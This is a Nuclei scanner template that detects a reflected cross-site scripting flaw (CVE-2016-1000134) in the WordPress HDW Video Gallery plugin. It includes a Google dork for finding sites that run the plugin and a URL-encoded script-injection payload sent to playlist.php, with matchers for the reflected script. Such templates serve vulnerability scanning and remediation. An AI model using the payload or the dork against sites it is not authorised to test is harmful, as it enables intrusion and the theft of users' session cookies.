WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting

id: CVE-2016-1000134

info:
  name: WordPress HDW Video Gallery <=1.2 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: WordPress HDW Video Gallery 1.2 and before contains a cross-site scripting vulnerability via playlist.php which allows an attacker to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This can allow the attacker to steal cookie-based authentication credentials and launch other attacks.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential theft of sensitive information or unauthorized actions.
  remediation: |
    Update to the latest version of the WordPress HDW Video Gallery plugin (>=1.3) which includes a fix for this vulnerability.
  reference:
    - http://www.vapidlabs.com/wp/wp_advisory.php?v=530
    - https://wordpress.org/plugins/hdw-tube
    - https://nvd.nist.gov/vuln/detail/CVE-2016-1000134
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2016-1000134
    cwe-id: CWE-79
    epss-score: 0.0465
    epss-percentile: 0.9055
    cpe: cpe:2.3:a:hdw-tube_project:hdw-tube:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: "hdw-tube_project"
    product: "hdw-tube"
    framework: wordpress
    google-query: "inurl:\"/wp-content/plugins/hdw-tube\""
  tags: cve2016,cve,wordpress,xss,wp-plugin,hdw-tube_project,vuln
flow: http(1) && http(2)

http:
  - raw:
      - |
        GET /wp-content/plugins/hdw-tube/readme.txt HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: word
        internal: true
        words:
          - 'HDW WordPress Video Gallery'

  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/hdw-tube/playlist.php?playlist=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
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